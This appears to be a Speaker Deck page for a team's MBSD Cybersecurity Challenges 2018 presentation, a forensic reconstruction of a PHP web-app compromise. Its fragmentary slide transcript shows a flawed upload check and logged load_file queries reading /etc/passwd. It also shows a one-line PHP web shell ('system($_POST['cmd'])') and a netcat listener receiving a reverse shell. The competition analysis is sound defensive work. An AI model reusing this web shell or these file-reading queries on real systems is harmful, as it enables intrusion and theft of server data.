Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
MBSD Cybersecurity Challenges 2018 最終審査会 発表スライド
Search
8ayac
December 12, 2018
Technology
1.9k
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
MBSD Cybersecurity Challenges 2018 最終審査会 発表スライド
チームIPFactoryとして発表したもの
8ayac
December 12, 2018
More Decks by 8ayac
See All by 8ayac
Free Bugs Campaign
8ayac
0
1k
MBSD Cybersecurity Challenges 2017 最終審査会 発表スライド
8ayac
0
670
Other Decks in Technology
See All in Technology
渡米前の準備を制す!re:Invent 2026徹底準備術 / The Ultimate Preparation Guide for re:Invent 2026
yuj1osm
1
470
アクセラレーターで実現するServiceNow活用の高速化 / ServiceNow World Forum 2026
visional_engineering_and_design
0
110
バックオフィスに染み出すTypeScript ── clasp で安全に仕組みを作る
nealle
1
140
re:Invent の去年のスケジュールを公開します!
miu_crescent
PRO
0
140
書き手が人でもAIでも正しくなる道、SREを埋め込んだDeveloper Platform / tech drivers day8
chmikata
4
870
あなたのDartコードは丸見えかもしれない ~reFlutterで暴くFlutterアプリの中身と多層防御~
zozotech
PRO
0
720
AI時代の開発はウォーターフォールに回帰する? / development-with-ai-back-to-wf
okamototakuyasr2
0
160
Vibe-to-Spec開発_実践ガイド
happysamurai294
0
140
1週間、Opus封印でお願いします
kintotechdev
1
420
AIコーディングはじめました
miso
0
120
AIエージェント統制はAPIから——押さえるべき5つの要素
nagix
0
110
20261031_IoTLT_vol140_kitazaki_v1.pdf
kitazaki
0
140
Featured
See All Featured
Keith and Marios Guide to Fast Websites
keithpitt
413
23k
実際に使うSQLの書き方 徹底解説 / pgcon21j-tutorial
soudai
PRO
203
77k
Chasing Engaging Ingredients in Design
codingconduct
0
380
How to Think Like a Performance Engineer
csswizardry
28
2.9k
KATA
mclloyd
PRO
35
16k
Google's AI Overviews - The New Search
badams
0
1.6k
The Power of CSS Pseudo Elements
geoffreycrofte
82
6.6k
How STYLIGHT went responsive
nonsquared
100
6.3k
The Anti-SEO Checklist Checklist. Pubcon Cyber Week
ryanjones
0
290
We Have a Design System, Now What?
morganepeng
55
8.4k
CoffeeScript is Beautiful & I Never Want to Write Plain JavaScript Again
sstephenson
162
16k
The #1 spot is gone: here's how to win anyway
tamaranovitovic
4
1.2k
Transcript
MBSD Cybersecurity Challenges 2018
None
None
▋ ▋ ▋ ▋ ▋ ▋
▋ ▋ ▋ ▋ ▋ ▋ ▋ ▋ ▋ ▋
▋ ▋ ▋
▋ ▋ ► ► ► ►
▋ ► ► ► ► ▋ ► ► ►
None
None
sendmessage.php ▋ ▋ ▋ $prefix = md5(time() . $user->id); $tname
= $prefix . basename($_FILES["file"]["name"]); if (move_uploaded_file($_FILES['file']['tmp_name'], "./tmp/".$tname) && preg_match("/^[^.]+¥.jpg$/",$tname)) {
sendmessage.php (2018/9/21 14:46:48) 180921 14:39:24 26247 Connect
[email protected]
on mysql
180921 14:41:06 26247 Query select load_file('/etc/hosts') 180921 14:41:12 26247 Query select load_file('/etc/passwd') 180921 14:42:30 26247 Query select load_file('/etc/issue') 180921 14:42:45 26247 Query select load_file('/etc/httpd/conf/httpd.conf') 180921 14:43:32 26247 Query select load_file('/var/www/html/webmix3/index.php') 180921 14:44:30 26247 Query select load_file('/var/www/html/webmix3/login.php') 180921 14:44:54 26247 Query select load_file('/var/www/html/webmix3/libs.php') 180921 14:45:25 26247 Query select load_file('/var/www/html/webmix3/class/class.php') 180921 14:45:45 26247 Query select load_file('/var/www/html/webmix3/class/User.php') 180921 14:46:48 26247 Query select load_file('/var/www/html/webmix3/sendmessage.php')
Web Shell (2018/9/21 15:12:46) 192.168.11.2 </> </>
Web Shell (2018/9/21 15:12:46) 192.168.11.2 </> </> 7449f92ea0f26445e89ae968227efaabtest.php <?php system($_POST['cmd’]);
Web Shell (2018/9/21 15:12:46) 192.168.11.2 </> </> 7449f92ea0f26445e89ae968227efaabtest.php <?php system($_POST['cmd’]);
[Fri Sep 21 15:14:01 2018] [error] [client 192.168.11.204] PHP Notice: Undefined index: cmd in /var/www/html/webmix3/tmp/7449f92ea0f26445e89ae968227efaabtest.php on line 1 [Fri Sep 21 15:14:01 2018] [error] [client 192.168.11.204] PHP Warning: system(): Cannot execute a blank command in /var/www/html/webmix3/tmp/7449f92ea0f26445e89ae968227efaabtest.php on line 1
Web Shell (2018/9/21 15:12:46) 192.168.11.2 </> </> 7449f92ea0f26445e89ae968227efaabtest.php <?php system($_POST['cmd’]);
192.168.11.204 - - [21/Sep/2018:15:14:01 +0900] "GET /tmp/7449f92ea0f26445e89ae968227efaabtest.php HTTP/1.1" 200 58 "-" "Mozilla/5.0 (X11; Linux 86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
Web Shell (2018/9/21 15:12:46) 192.168.11.2 </> </> 7449f92ea0f26445e89ae968227efaabtest.php <?php system($_POST['cmd’]);
192.168.11.204 - - [21/Sep/2018:15:14:01 +0900] "GET /tmp/7449f92ea0f26445e89ae968227efaabtest.php HTTP/1.1" 200 58 "-" "Mozilla/5.0 (X11; Linux 86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 192.168.11.204 - - [21/Sep/2018:15:12:46 +0900] "POST /sendmessage.php HTTP/1.1" 200 1783 "http://192.168.11.2/sendmessage.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
(2018/9/21 15:29:02) $ nc –lvp 4444 192.168.11.2 </>
(2018/9/21 15:29:02) 192.168.11.2 </> 4444/TCPで待受中…
(2018/9/21 15:29:02) 192.168.11.2 </> 4444/TCPで待受中…
(2018/9/21 15:29:02) 192.168.11.2 </> $ nc -lvp 4444 Listening on
[0.0.0.0] (family 0, port 4444) Connection from 192.168.11.204 64495 received! sh-4.1$
(2018/9/21 15:29:02) 192.168.11.2 </> $ nc -lvp 4444 Listening on
[0.0.0.0] (family 0, port 4444) Connection from 192.168.11.204 64495 received! sh-4.1$ 192.168.11.204 - - [21/Sep/2018:15:29:02 +0900] "POST /tmp/7449f92ea0f26445e89ae968227efaabtest.php HTTP/1.1" 200 58 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 192.168.11.204 - - [21/Sep/2018:15:14:01 +0900] "GET /tmp/7449f92ea0f26445e89ae968227efaabtest.php HTTP/1.1" 200 58 "-" "Mozilla/5.0 (X11; Linux 86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
None
▋ ▋ ▋
▋ ▋ ▋ POST
▋ ▋ ▋ POST POST
( ) ▋ ► ►
POST ▋ ► ►
None
38
▋ ▋ ▋ ▋ ▋ ▋ ▋
▋ ▋ ▋ ▋ ▋ ▋ ▋
▋ ► ▋ ► ▋ ►
▋ ▋
▋ ► ► ►
None